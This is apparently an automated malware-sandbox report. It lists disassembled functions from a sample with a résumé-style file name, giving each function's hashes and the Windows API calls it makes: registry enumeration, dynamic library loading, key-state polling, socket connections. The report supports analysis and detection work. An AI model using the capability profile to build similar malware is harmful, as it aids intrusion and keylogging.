Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: D=D
API String ID: 3277943733-2475372857
Opcode ID: 78df1a6552fbd5de13a6bfb7b19f31c578171ae80e33ab87ad9321c559b18967
Instruction ID: a26e538df7fd37c1ef49dcf43a2b950529d4060425a1005381672b5a4ee88297
Opcode Fuzzy Hash: 78df1a6552fbd5de13a6bfb7b19f31c578171ae80e33ab87ad9321c559b18967
Instruction Fuzzy Hash: 5CF05EF5940314BAF2115FA5AC46F777E6CDB06B59F004431BE08EA1A2D7759E0086AC

Function 003E1945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 003E19F3
GetProcessIoCounters.KERNEL32(00000000,?), ref: 003E1A26
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 003E1B49
CloseHandle.KERNEL32(?), ref: 003E1BBF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 0d33ffdc6ccf50c61e1bb3ff06248a1d08e5001a515bda3d8b66f93e7e18c282
Instruction ID: c3895641c04313018ba0e9eeb6ca83bacaab507b3605680ce27a1b7dfef930fb
Opcode Fuzzy Hash: 0d33ffdc6ccf50c61e1bb3ff06248a1d08e5001a515bda3d8b66f93e7e18c282
Instruction Fuzzy Hash: 52817270600215ABDF12AF65C896BAEBBE5AF04720F148459F905AF3D2D7B4ED418F90

Function 003C1C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003C1CB4
VariantClear.OLEAUT32(00000013), ref: 003C1D26
VariantClear.OLEAUT32(00000000), ref: 003C1D81
VariantClear.OLEAUT32(?), ref: 003C1DF8
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 003C1E26

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 17d868a2c3ffdd54f534dbb1299bc4333a3ef08fd60cf377ef38a39cf215aac1
Instruction ID: fa5068dcade6bc9a988db966d7dbd1c0c330fbc3d8955004d6e796a582cd5863
Opcode Fuzzy Hash: 17d868a2c3ffdd54f534dbb1299bc4333a3ef08fd60cf377ef38a39cf215aac1
Instruction Fuzzy Hash: 465149B5A00209EFDB14CF58C884EAAB7B8FF4D314B158559E95ADB301D730EA51CFA0

Function 003E0688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 003E06EE
GetProcAddress.KERNEL32(00000000,?), ref: 003E077D
GetProcAddress.KERNEL32(00000000,00000000), ref: 003E079B
GetProcAddress.KERNEL32(00000000,?), ref: 003E07E1
FreeLibrary.KERNEL32(00000000,00000004), ref: 003E07FB

Part of subcall function 0039E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,003CA574,?,?,00000000,00000008), ref: 0039E675
Part of subcall function 0039E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,003CA574,?,?,00000000,00000008), ref: 0039E699

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 6f95711e4a92244f96199719c02a2f0453e260e001d58032d0dbc2a6dcee6e47
Instruction ID: 7d8bac986e15ba38abbd3154e53fc35885ae2d4ea5979b3a1051d9dbea973759
Opcode Fuzzy Hash: 6f95711e4a92244f96199719c02a2f0453e260e001d58032d0dbc2a6dcee6e47
Instruction Fuzzy Hash: 41516975A00255DFCB06EFA8C881DADB7B5BF48310B0581AAE915AB392DB70ED45CB90

Function 003E2E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003E2BB5,?,?), ref: 003E3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003E2EEF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003E2F2E
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003E2F75
RegCloseKey.ADVAPI32(?,?), ref: 003E2FA1
RegCloseKey.ADVAPI32(00000000), ref: 003E2FAE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: a85b0a02bc76a82d125da08649bf9bd2a477d9c6da942971e08c0d4ea84f1b7e
Instruction ID: 336707b4d0601fd87867e2484719a130480f4259609a554bb40f658d8be2e132
Opcode Fuzzy Hash: a85b0a02bc76a82d125da08649bf9bd2a477d9c6da942971e08c0d4ea84f1b7e
Instruction Fuzzy Hash: 46516872608344AFD706EF64C891EABB7F8BF88304F00496DF5959B291DB70E905CB52

Function 003ECCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da1e2a209452b807bea47570755012dd2d3be3b93800ae793d7104b55dd9a94
Instruction ID: b529d01bf978289ce9bce3520c0ffa0c53cad09521192ee17b4a0370d41664ad
Opcode Fuzzy Hash: 2da1e2a209452b807bea47570755012dd2d3be3b93800ae793d7104b55dd9a94
Instruction Fuzzy Hash: 9F41E6399102A4ABC712DB69CC44FAEBB68FB49310F161335F819A72E1C731AD42D654

Function 003D1206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 003D12B4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 003D12DD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 003D131C

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 003D1341
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 003D1349

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: c84956359e558b2992574c88c5baf7762f817c6972122b3a1de20eb4b0a94bf2
Instruction ID: 3d874b596ff7ca4d4232167af2cd6a22b6c9016b4ac08fdf92acb567308dfde6
Opcode Fuzzy Hash: c84956359e558b2992574c88c5baf7762f817c6972122b3a1de20eb4b0a94bf2
Instruction Fuzzy Hash: 4441FD35A00605DFDF02EF64C981AADBBF5EF08314B1480A9E905AF361DB71ED05DB51

Function 0039B63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 0039B64F
ScreenToClient.USER32(00000000,000000FF), ref: 0039B66C
GetAsyncKeyState.USER32(00000001), ref: 0039B691
GetAsyncKeyState.USER32(00000002), ref: 0039B69F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 47859b9ad50346c1653b53895f6ba96aec0d83312a05e5da42b067ef7b50af18
Instruction ID: 286e81d4ada5acbe142492516c031a3b74c3aa009db6b31d7153cec249fc8eaf
Opcode Fuzzy Hash: 47859b9ad50346c1653b53895f6ba96aec0d83312a05e5da42b067ef7b50af18
Instruction Fuzzy Hash: 59416E35908219BBCF169F64C948EE9FB75BB05324F104319E929A62D0CB34A994DF91

Function 003BB358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003BB369
PostMessageW.USER32(?,00000201,00000001), ref: 003BB413
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 003BB41B
PostMessageW.USER32(?,00000202,00000000), ref: 003BB429
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 003BB431

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: e18f8ae412104772d70cddf819f8cbf90ca57684674d612462cecc47679323a8
Instruction ID: a3674a619b93d153e9e95c3caabd5805bf2c9ff34d44e64b18e1ef4cafb9c258
Opcode Fuzzy Hash: e18f8ae412104772d70cddf819f8cbf90ca57684674d612462cecc47679323a8
Instruction Fuzzy Hash: 7531BD71900219EBDF04CFA8DE4DADEBBB5FB04319F114229FA25AB5D1CBB09954CB90

Function 003BDBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 003BDBD7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 003BDBF4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 003BDC2C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 003BDC52
_wcsstr.LIBCMT ref: 003BDC5C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 93bd7bb6c009815a03c83f8bb209d8f3430a7908de5ae409a59c088d8475a61c
Instruction ID: d6103dcf0f9f6eb74e1bd2b33ebf1a49b57b4696cec63fd14f39b858ba45618f
Opcode Fuzzy Hash: 93bd7bb6c009815a03c83f8bb209d8f3430a7908de5ae409a59c088d8475a61c
Instruction Fuzzy Hash: 91214971204100BBEB169F799D49EBB7FACDF45724F118039F909DA081FAB1CC01D260

Function 003BBC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 003BBC90
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 003BBCC2
__itow.LIBCMT ref: 003BBCDA
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 003BBD00
__itow.LIBCMT ref: 003BBD11

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: a768f5911dde147ce148a451a2e23f2c7179730fe5c81113db4523c6bfd4ffaf
Instruction ID: ced8cab7fe53a3311a372a8c94a0fd30755141c95b97c4d31c4141bff4c3ebe3
Opcode Fuzzy Hash: a768f5911dde147ce148a451a2e23f2c7179730fe5c81113db4523c6bfd4ffaf
Instruction Fuzzy Hash: FE21D775A002086BDB12AE648D46FDEBB6CAF8A314F000465FA05EF181DFB4890583A1

Function 003C6318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 003850E6: _wcsncpy.LIBCMT ref: 003850FA

GetFileAttributesW.KERNEL32(?,?,?,?,003C60C3), ref: 003C6369
GetLastError.KERNEL32(?,?,?,003C60C3), ref: 003C6374
CreateDirectoryW.KERNEL32(?,00000000,?,?,?,003C60C3), ref: 003C6388
_wcsrchr.LIBCMT ref: 003C63AA

Part of subcall function 003C6318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,003C60C3), ref: 003C63E0

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: 599ab524faef3b1424e87b038e8d25d2789655eb519b7cb582738500ec20cf22
Instruction ID: cd68c8a836cdd3d7fb55e654b7fb4d35fa75e42313f3ff5f4ec8b9a9c3684c7c
Opcode Fuzzy Hash: 599ab524faef3b1424e87b038e8d25d2789655eb519b7cb582738500ec20cf22
Instruction Fuzzy Hash: ED21D8359042555ADF17AB789C43FEA236CEF06360F1104ADF045DB0E1EF60DD848B65

Function 003D8B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003DA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 003DA84E

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 003D8BD3
WSAGetLastError.WSOCK32(00000000), ref: 003D8BE2
connect.WSOCK32(00000000,?,00000010), ref: 003D8BFE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: e7d7be0201840874fbbda8a6f484f2d7548585157eb069f2689cebcb3573aae6
Instruction ID: 43cac0d20629adc4e3b73dab241529446d47eae1094719324cd81bcbbce238f6
Opcode Fuzzy Hash: e7d7be0201840874fbbda8a6f484f2d7548585157eb069f2689cebcb3573aae6
Instruction Fuzzy Hash: 8F218E326002149FCB16AF68DD85F7EB7A9EF48710F04445AF916AB392CB74EC058B61

Function 003D8420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 003D8441
GetForegroundWindow.USER32 ref: 003D8458
GetDC.USER32(00000000), ref: 003D8494
GetPixel.GDI32(00000000,?,00000003), ref: 003D84A0
ReleaseDC.USER32(00000000,00000003), ref: 003D84DB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 60d9a4ee1ef3ede48a934bcd042ee139bded2fb7b0344bfc39ca3c0805c04048
Instruction ID: 2c28890a2d019ecee1655006e8e7f1e21706098a48acf5c97d6edf3481dbb1d7
Opcode Fuzzy Hash: 60d9a4ee1ef3ede48a934bcd042ee139bded2fb7b0344bfc39ca3c0805c04048
Instruction Fuzzy Hash: 12218176A00204AFD701EFA5D985AAEBBF5EF48301F048879E859AB351DF70AC04CB60

Function 0039AF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0039AFE3
SelectObject.GDI32(?,00000000), ref: 0039AFF2
BeginPath.GDI32(?), ref: 0039B009
SelectObject.GDI32(?,00000000), ref: 0039B033

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 0cbbaab0fe68cddd4a4e387f8e02a336f8df9ec96c902e0ddaeebcf9fa6e5b01
Instruction ID: 95d2603cd9c0da01c21050db22da1635ec2dfce24c3a753a62dc12187fd9fd05
Opcode Fuzzy Hash: 0cbbaab0fe68cddd4a4e387f8e02a336f8df9ec96c902e0ddaeebcf9fa6e5b01
Instruction Fuzzy Hash: E621B3B4800309EFEF12DF95ED887AE7B68B711355F16433AE525A61B0D3708885CF94

Function 003A217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 003A21A9
CreateThread.KERNEL32(?,?,003A22DF,00000000,?,?), ref: 003A21ED
GetLastError.KERNEL32 ref: 003A21F7
_free.LIBCMT ref: 003A2200
__dosmaperr.LIBCMT ref: 003A220B

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 22ff4b3b73249fce34d91dc396335ba3c416294d3282f2f9624bb998722ab48d
Instruction ID: 10c5babc1aecb064ff0f46e0f2d3497ad9f912a31b77fa470df2e5ab7c82be52
Opcode Fuzzy Hash: 22ff4b3b73249fce34d91dc396335ba3c416294d3282f2f9624bb998722ab48d
Instruction Fuzzy Hash: E111F933104306AFDB23AFA9DD82EAB7B98EF47770B110529FD14DA191EB71D81187A1

Function 003BABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 003BABD7
GetLastError.KERNEL32(?,003BA69F,?,?,?), ref: 003BABE1
GetProcessHeap.KERNEL32(00000008,?,?,003BA69F,?,?,?), ref: 003BABF0
HeapAlloc.KERNEL32(00000000,?,003BA69F,?,?,?), ref: 003BABF7
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 003BAC0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: b0508375c23565fe713e38d59a9ab9b7d0f1d91b54114341417e63faddb5522f
Instruction ID: 70ecaf4c0b116ee88ad54b99aea877615ec1248c5f1636c5ce1d0e206b621026
Opcode Fuzzy Hash: b0508375c23565fe713e38d59a9ab9b7d0f1d91b54114341417e63faddb5522f
Instruction Fuzzy Hash: 8C016970700604BFDB114FA9DD48DAB3FACEF8A7587110829F905D3260DA718C84CB64

Function 003C7A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003C7A74
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 003C7A82
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 003C7A8A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 003C7A94
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003C7AD0

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

